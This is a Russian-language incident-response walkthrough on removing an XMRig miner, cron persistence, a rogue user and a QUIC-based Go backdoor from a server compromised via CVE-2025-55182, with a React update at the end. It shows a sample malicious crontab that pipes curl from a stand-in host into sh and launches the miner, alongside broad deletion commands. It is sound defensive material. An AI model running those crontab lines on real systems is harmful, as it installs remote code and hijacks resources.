Очистка сервера от майнера XMRig

Пошаговое руководство по удалению криптомайнера
после эксплуатации CVE-2025-55182 (React2Shell)

🔥

Что произошло

История реальной компрометации

⚠️ Предыстория

Это реальная история очистки production сервера от криптомайнера, который был установлен через эксплуатацию критической уязвимости CVE-2025-55182 (React2Shell) в React 19. Сервер был скомпрометирован, установлен майнер Monero (XMRig), создан новый пользователь и настроен автозапуск через cron.

Хронология событий

🚨 Обнаружение проблемы

Сайты перестали загружаться. При проверке сервера обнаружена 100% загрузка CPU. Первая мысль — DDoS атака или проблема с приложением.

🔄 Попытка перезагрузки

Была предпринята перезагрузка сервера через панель управления. Однако после перезагрузки нагрузка на CPU осталась 100%. Стало ясно, что проблема глубже.

💀 Обнаружение майнера

При проверке активных процессов командой ps aux был обнаружен процесс xmrig — известный криптомайнер Monero.

🔍 Расследование

Дальнейшее расследование показало наличие:

  • Исполняемых файлов майнера в системе
  • Зашифрованных скриптов запуска
  • Задач в cron для автозапуска
  • Нового пользователя с привилегиями
  • Backdoor для постоянного доступа (QUIC протокол)

🛠️ Очистка и восстановление

Была проведена полная очистка системы, удаление всех вредоносных файлов, обновление React и восстановление безопасности сервера.

1

Обнаружение проблемы

100% загрузка CPU и недоступность сайтов

Первые признаки компрометации

Первым признаком стала полная недоступность всех сайтов на сервере. При входе в панель управления хостингом обнаружилась критическая ситуация:

📊 Что было видно
  • CPU: 100% — все ядра загружены на максимум
  • Load Average: значительно превышает количество ядер
  • Сайты не отвечают — timeout при попытке загрузки
  • SSH отклики медленные — система еле отвечает
СКРИНШОТ: Панель управления сервером
100% загрузка CPU, все ядра на максимуме

Проверка активных процессов

Первым делом необходимо было проверить, что именно нагружает систему. Для этого используется команда ps aux, которая показывает все запущенные процессы с информацией об использовании ресурсов.

🔍 Команда для просмотра процессов Bash
# Показать все процессы с сортировкой по CPU
ps aux --sort=-%cpu | head -n 20

# Более детальный вывод с обновлением в реальном времени
top -b -n 1 | head -n 20

# Или интерактивный вариант
htop
СКРИНШОТ: Вывод ps aux
Видны процессы с высоким CPU usage, включая xmrig
💀 Обнаружен xmrig!

В списке процессов был обнаружен xmrig — это популярный open-source майнер для криптовалюты Monero (XMR). Процесс потреблял практически все ресурсы CPU.

XMRig часто используется атакующими из-за:

  • Эффективности майнинга Monero на CPU
  • Анонимности Monero (нельзя отследить транзакции)
  • Простоты настройки и запуска
  • Кроссплатформенности (Linux, Windows, macOS)
2

Остановка майнера

Немедленное прекращение вредоносной активности

⚡ Срочные действия

После обнаружения майнера необходимо немедленно остановить процесс, чтобы освободить ресурсы сервера и предотвратить дальнейший ущерб.

Остановка процесса xmrig

🛑 Команды для остановки майнера Bash
# Способ 1: Убить процесс по имени (рекомендуется)
killall -9 xmrig

# Способ 2: Найти PID и убить
kill -9 $(pidof xmrig)

# Способ 3: Если имя процесса замаскировано
# Сначала находим PID через ps aux
ps aux | grep xmrig
# Затем убиваем по PID
kill -9 PID_ПРОЦЕССА

# Проверить что процесс остановлен
ps aux | grep xmrig
# Не должно быть вывода

# Проверить загрузку CPU
top -b -n 1 | head -n 10
# Загрузка должна упасть
💡 Объяснение команд
  • kill -9 — принудительное завершение процесса (SIGKILL)
  • killall — убивает все процессы с указанным именем
  • pidof — находит PID процесса по имени
  • $(команда) — подстановка результата команды

Что произошло после остановки

✅ Результат

После выполнения команды kill -9 $(pidof xmrig) процесс майнера был немедленно остановлен. Загрузка CPU упала с 100% до нормальных значений (5-15%). Сайты начали снова отвечать на запросы.

Однако это только временное решение! Майнер мог быть настроен на автозапуск, поэтому необходимо найти и удалить все связанные файлы.

3

Поиск файлов майнера

Обнаружение всех вредоносных компонентов

Поиск исполняемых файлов xmrig

Теперь необходимо найти все файлы, связанные с майнером. Используем команду find для рекурсивного поиска по всей файловой системе.

🔍 Поиск файлов майнера Bash
# Поиск файлов с именем xmrig
find / -type f -name "*xmrig*" 2>/dev/null

# Поиск файлов и вывод содержимого (grep)
find / -type f -exec grep -l "xmrig" {} \; 2>/dev/null

# Поиск в типичных локациях
find /tmp /var/tmp /home /root -name "*xmrig*" 2>/dev/null

# Поиск исполняемых файлов, измененных за последние 7 дней
find / -type f -executable -mtime -7 2>/dev/null

# Поиск по содержимому (медленно, но эффективно)
grep -r "xmrig" /tmp /var/tmp /home 2>/dev/null
СКРИНШОТ: Результаты поиска find
Найденные файлы xmrig и связанные скрипты
📂 Что было обнаружено

Были найдены следующие файлы:

  • Исполняемый файл майнера: /root/.cache/.sys/xmrig или скрытая директория
  • Зашифрованные скрипты: обфусцированные bash/python скрипты рядом с майнером
  • Конфигурационные файлы: config.json с адресами майнинг-пулов
  • Скрипты в /tmp: дополнительные вредоносные скрипты
  • Файлы в домашних директориях: бэкдоры и дополнительные компоненты

Типичные локации майнеров

📍 Где искать вредоносные файлы
  • /tmp и /var/tmp — временные директории, часто используются
  • /dev/shm — RAM диск, файлы удаляются при перезагрузке
  • /home/*/.config — скрытые директории пользователей
  • /var/spool/cron — cron jobs
  • /etc/init.d и /etc/systemd/system — автозагрузка
  • /usr/bin и /usr/local/bin — маскировка под системные файлы
  • /opt — дополнительное ПО
  • /root — дополнительное ПО
4

Удаление вредоносных файлов

Полная очистка системы

Удаление майнера и скриптов

После обнаружения всех файлов, перешел в директорию с майнером и удалил xmrig вместе со всеми скриптами, находящимися рядом с ним.

🗑️ Удаление файлов майнера Bash
# Перейти в директорию с майнером (например)
cd /tmp

# Посмотреть содержимое
ls -la

# Удалить xmrig
rm -f xmrig

# Удалить все связанные скрипты (будьте осторожны!)
rm -f *.sh
rm -f config.json
rm -f .hidden_file

# Удалить скрытые файлы и директории
rm -rf .hidden_dir

# Найти и удалить все файлы xmrig рекурсивно
find / -name "*xmrig*" -type f -delete 2>/dev/null

# Удалить файлы в /tmp (созданные недавно)
find /tmp -type f -mtime -7 -delete

# Очистить /var/tmp
find /var/tmp -type f -mtime -7 -delete
СКРИНШОТ: Директория с майнером
xmrig и зашифрованные скрипты перед удалением
⚠️ Важно: Зашифрованные скрипты

Рядом с майнером были обнаружены обфусцированные (зашифрованные) bash-скрипты. Это типичная практика атакующих для сокрытия вредоносного кода.

Не пытайтесь их запустить! Они могут:

  • Переустановить майнер
  • Загрузить дополнительные вредоносные компоненты
  • Создать новые backdoor
  • Уничтожить данные

Просто удалите их немедленно.

СКРИНШОТ: Директория с майнером
зашифрованные скрипты перед удалением

Очистка дополнительных локаций

🧹 Дополнительная очистка Bash
# Очистить /dev/shm (RAM диск)
rm -rf /dev/shm/*

# Проверить и очистить домашние директории
find /home -name "*miner*" -o -name "*xmrig*" 2>/dev/null
find /home -name "*miner*" -o -name "*xmrig*" -delete 2>/dev/null

# Проверить /opt
ls -la /opt
rm -rf /opt/suspicious_folder

# Проверить /var/lib
find /var/lib -type f -mtime -7 2>/dev/null

# Очистить bash history (может содержать команды атакующего)
cat /dev/null > ~/.bash_history
history -c
5

Очистка планировщика cron

Удаление автозапуска майнера

Проверка cron jobs

Атакующие почти всегда настраивают автозапуск майнера через cron, чтобы он перезапускался после остановки или перезагрузки сервера.

📅 Проверка всех cron jobs Bash
# Проверить cron текущего пользователя
crontab -l

# Проверить cron для root
sudo crontab -l

# Проверить cron для всех пользователей
for user in $(cut -f1 -d: /etc/passwd); do 
  echo "=== Crontab for $user ==="
  sudo crontab -u $user -l 2>/dev/null
done

# Проверить системные cron
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /var/spool/cron/crontabs/
🚨 Обнаружена задача cron!

В crontab была найдена подозрительная задача, которая запускала майнер. Типичные признаки вредоносных cron jobs:

  • Запуск из /tmp или /dev/shm
  • Странные команды с curl/wget
  • Запуск каждые несколько минут
  • Перенаправление вывода в /dev/null
  • Обфусцированные команды (base64, hex)
СКРИНШОТ: Вредоносная задача cron
Crontab с командой запуска майнера

Удаление вредоносных cron jobs

🗑️ Удаление задач cron Bash
# Удалить весь crontab текущего пользователя
crontab -r

# Или редактировать и удалить только подозрительные строки
crontab -e
# В редакторе: удалите подозрительные строки, сохраните

# Удалить для конкретного пользователя
sudo crontab -u suspicious_user -r

# Удалить файлы из /etc/cron.d/
sudo rm /etc/cron.d/suspicious_job

# Проверить /etc/cron.hourly и т.д.
sudo rm /etc/cron.hourly/suspicious_script.sh

# Проверить что cron очищен
crontab -l
# Не должно быть подозрительных задач
💡 Пример вредоносной cron задачи
❌ Вредоносный crontab Cron
# Запуск каждые 5 минут
*/5 * * * * curl -s http://malicious.com/x | sh

# Запуск xmrig из /tmp
*/10 * * * * /tmp/xmrig -o pool.supportxmr.com:3333 > /dev/null 2>&1

# Проверка и перезапуск майнера
* * * * * pgrep xmrig || /tmp/.hidden/run.sh

# Обфусцированная команда
*/15 * * * * echo "base64_encoded_command" | base64 -d | sh

Все такие строки необходимо немедленно удалить!

6

Удаление постороннего пользователя

Закрытие backdoor для повторного доступа

Поиск новых пользователей

Атакующие часто создают нового пользователя для постоянного доступа к серверу (persistence). Это позволяет им вернуться даже после удаления майнера.

👥 Проверка пользователей системы Bash
# Показать всех пользователей
cat /etc/passwd

# Показать только пользователей с shell (потенциально опасные)
cat /etc/passwd | grep -v "/nologin" | grep -v "/false"

# Показать недавно созданных пользователей
ls -lt /home | head

# Проверить последние логины
last

# Показать пользователей с UID >= 1000 (обычные пользователи)
awk -F: '$3 >= 1000 {print $1}' /etc/passwd

# Проверить sudo права
cat /etc/sudoers
ls -la /etc/sudoers.d/
🕵️ Обнаружен подозрительный пользователь!

При проверке был обнаружен новый пользователь, которого администратор не создавал. Признаки подозрительного пользователя:

  • Недавно созданная домашняя директория
  • Странное имя (например: user, test, admin2, system)
  • Наличие SSH ключей в ~/.ssh/authorized_keys
  • История команд с вредоносной активностью
  • Cron jobs для запуска майнера
СКРИНШОТ: Список пользователей
Вывод /etc/passwd с подозрительным пользователем

Удаление вредоносного пользователя

🗑️ Удаление пользователя Bash
# Удалить пользователя вместе с домашней директорией
sudo userdel -r suspicious_username

# Если не удаляется, сначала убить процессы пользователя
sudo pkill -u suspicious_username
sudo userdel -r suspicious_username

# Проверить что пользователь удален
cat /etc/passwd | grep suspicious_username
# Не должно быть вывода

# Проверить что домашняя директория удалена
ls /home/
# suspicious_username не должно быть

# Удалить из sudo (если был добавлен)
sudo deluser suspicious_username sudo

# Проверить и удалить из sudoers
sudo visudo
# Удалить строки с suspicious_username

Проверка SSH ключей

🔑 Проверка SSH backdoors Bash
# Проверить SSH ключи root
cat /root/.ssh/authorized_keys

# Проверить для всех пользователей
for user in $(ls /home); do
  echo "=== $user ==="
  cat /home/$user/.ssh/authorized_keys 2>/dev/null
done

# Удалить неизвестные ключи
# ОСТОРОЖНО: не удалите свои ключи!
nano /root/.ssh/authorized_keys
# Удалите подозрительные публичные ключи

# Изменить пароль root
passwd root

# Изменить пароли всех пользователей
passwd your_username
7

Обновление React

Закрытие уязвимости CVE-2025-55182

Критически важный шаг

⚠️ Главное!

Если не обновить React, сервер будет взломан снова! Уязвимость CVE-2025-55182 позволяет атакующим получать доступ к серверу без аутентификации. Удаление майнера — это только устранение последствий, но не причины.

Обновление пакетов React

📦 Обновление до безопасной версии Bash
# Перейти в директорию проекта
cd /path/to/your/react/project

# Проверить текущую версию
npm list react react-dom

# Обновить до безопасной версии 19.2.1
npm install react@19.2.1 react-dom@19.2.1

# Обновить все зависимости
npm update

# Автоматическое исправление уязвимостей
npm audit fix

# Если требуется принудительное обновление
npm audit fix --force

# Проверить что уязвимость устранена
npm audit
# Должно показать: found 0 vulnerabilities ✅

# Пересобрать проект
npm run build

# Перезапустить приложение
pm2 restart all
# или
systemctl restart your-app-name
СКРИНШОТ: Обновление React пакетов
npm install react@19.2.1 - процесс обновления
✅ Безопасные версии
  • React 19.0.1+ (для ветки 19.0.x)
  • React 19.1.2+ (для ветки 19.1.x)
  • React 19.2.1+ (рекомендуется — latest)
9

Анализ подозрительных файлов

Обнаружение QUIC backdoor

Поиск недавно созданных файлов

После основной очистки важно проверить все недавно созданные или измененные файлы, так как атакующие могли установить дополнительные backdoor для повторного доступа.

🔍 Поиск недавних файлов Bash
# Найти все файлы, измененные за последние 7 дней
find / -type f -mtime -7 2>/dev/null | head -50

# Найти исполняемые файлы за последние 7 дней
find / -type f -executable -mtime -7 2>/dev/null

# Найти файлы по размеру (майнеры обычно 2-10 MB)
find / -type f -size +2M -size -10M -mtime -7 2>/dev/null

# Найти скрытые файлы (начинаются с точки)
find / -name ".*" -type f -mtime -7 2>/dev/null

# Найти файлы без расширения в /tmp, /var/tmp
find /tmp /var/tmp /dev/shm -type f ! -name "*.*" 2>/dev/null

# Проверить файлы в системных директориях
find /usr/bin /usr/local/bin -type f -mtime -7 2>/dev/null
🕵️ Обнаружены подозрительные файлы!

При проверке были найдены несколько недавно созданных файлов с подозрительными характеристиками:

  • Исполняемые файлы без расширения
  • Файлы в необычных локациях
  • Бинарные файлы, скомпилированные на Go
  • Свежая дата модификации
СКРИНШОТ: Список подозрительных файлов
Недавно созданные исполняемые файлы

Анализ через HEX редактор

Для более детального анализа подозрительных файлов был использован HEX редактор, который позволяет увидеть сырое содержимое бинарных файлов.

🔬 Анализ бинарных файлов Bash
# Просмотр HEX содержимого файла
xxd suspicious_file | less

# Или использовать hexdump
hexdump -C suspicious_file | less

# Извлечь читаемые строки из бинарника
strings suspicious_file | less

# Поиск конкретных строк
strings suspicious_file | grep -i "github\|http\|.com"

# Определить тип файла
file suspicious_file

# Проверить ELF заголовок (Linux executables)
readelf -h suspicious_file

# Посмотреть первые байты (magic numbers)
head -c 20 suspicious_file | xxd
СКРИНШОТ: HEX редактор
Бинарный файл в hex-редакторе

Обнаружение QUIC backdoor

💀 Критическая находка: QUIC backdoor

При анализе одного из файлов в середине бинарного кода были обнаружены текстовые строки:

📝 Найденные строки Text
github.com/quic-go/quic-go/path/ManagerOutgoing

Это указывает на использование библиотеки quic-go — Go-реализации протокола QUIC.

Что такое QUIC и почему это опасно?

🌐 QUIC Protocol

QUIC (Quick UDP Internet Connections) — это современный сетевой протокол, разработанный Google, который используется в HTTP/3.

Почему атакующие используют QUIC:

  • Быстрее TCP: меньше задержек при установке соединения
  • Работает поверх UDP: сложнее детектировать файрволами
  • Встроенное шифрование: трафик зашифрован по умолчанию
  • Обход блокировок: многие DPI системы не анализируют QUIC
  • Надежность: переживает смену IP адреса
🎯 Backdoor для постоянного доступа

Обнаруженный файл — это backdoor троян, написанный на Go с использованием QUIC протокола. Он предоставляет атакующим:

  • Скрытый канал связи с C&C сервером
  • Удаленное выполнение команд через зашифрованное соединение
  • Возможность переустановки майнера после удаления
  • Обход большинства файрволов (UDP трафик)
  • Persistence — постоянный доступ к серверу

Этот файл был немедленно удален!

Удаление backdoor

🗑️ Удаление QUIC backdoor Bash
# Найти процесс, если запущен
ps aux | grep quic
lsof | grep quic

# Убить процесс
killall -9 suspicious_process_name

# Удалить файл
rm -f /path/to/backdoor/file

# Найти другие Go-бинарники, созданные недавно
find / -type f -executable -mtime -7 -exec file {} \; 2>/dev/null | grep "Go"

# Проверить сетевые соединения QUIC (UDP порт 443 обычно)
ss -u | grep 443
netstat -u | grep 443

# Заблокировать исходящий UDP трафик на подозрительные IP
iptables -A OUTPUT -p udp -d suspicious.ip -j DROP

Итоговый чек-лист

Убедитесь, что выполнены все шаги

Контрольный список очистки

  • Остановлен процесс xmrig
  • Удалены все файлы майнера из /tmp, /var/tmp и других локаций
  • Очищен crontab от вредоносных задач
  • Удален посторонний пользователь
  • Обновлен React до 19.2.1 (закрыта CVE-2025-55182)
  • Проверены сетевые соединения — нет connections к майнинг-пулам
  • Удалены backdoor файлы (включая QUIC backdoor)
  • Изменены все пароли (root, пользователи)
  • Проверены SSH ключи — удалены неизвестные
  • Настроен мониторинг CPU, процессов, файлов

Дополнительные меры безопасности

🔒 Усиление защиты
  • Обновите всю систему: apt update && apt upgrade -y
  • Включите автообновления безопасности
  • Настройте файрвол (ufw/iptables) — только необходимые порты
  • Отключите root SSH: PermitRootLogin no
  • Используйте только SSH ключи — отключите пароли
  • Установите WAF (ModSecurity/Cloudflare)
  • Настройте регулярные бэкапы
  • Включите SELinux/AppArmor
💭

Выводы и уроки

Что мы узнали из этого инцидента

Ключевые выводы

🎯 Главные уроки
  • Уязвимости критичны: CVE-2025-55182 с CVSS 10.0 позволяет полную компрометацию без аутентификации
  • Обновления жизненно важны: промедление даже на день может привести к взлому
  • Атакующие действуют быстро: эксплуатация началась в течение часов после раскрытия
  • Многоуровневая защита: майнер + backdoor + новый пользователь + cron
  • Мониторинг необходим: без мониторинга можно не заметить компрометацию неделями

Что делает атака эффективной

💀 Анатомия атаки

Атакующие использовали многоступенчатый подход:

  1. Эксплуатация уязвимости — RCE через CVE-2025-55182
  2. Установка майнера — XMRig для Monero
  3. Persistence — cron job для автозапуска
  4. Backdoor — QUIC-based троян для удаленного доступа
  5. Новый пользователь — альтернативный способ доступа
  6. Обфускация — зашифрованные скрипты для сокрытия

Рекомендации на будущее

🛡️ Как предотвратить подобные инциденты
  • Мониторинг уязвимостей: подписаться на security advisory
  • Быстрые обновления: применять патчи в течение 24-48 часов
  • Автоматизация: dependabot, renovate для автообновлений
  • Мониторинг 24/7: CPU, процессы, сеть, файлы
  • WAF и IDS: дополнительные уровни защиты
  • Принцип наименьших привилегий: ограничить права приложений
  • Регулярные аудиты безопасности
  • Disaster Recovery план: готовность к инцидентам
📈 Текущий статус сервера

После проведения всех описанных мер:

  • Сервер очищен от всех вредоносных компонентов
  • React обновлен до безопасной версии 19.2.1
  • Настроен постоянный мониторинг
  • Усилена общая безопасность системы
  • Ведется наблюдение за нагрузкой и активностью

🟢 Сервер стабилен, подозрительной активности не обнаружено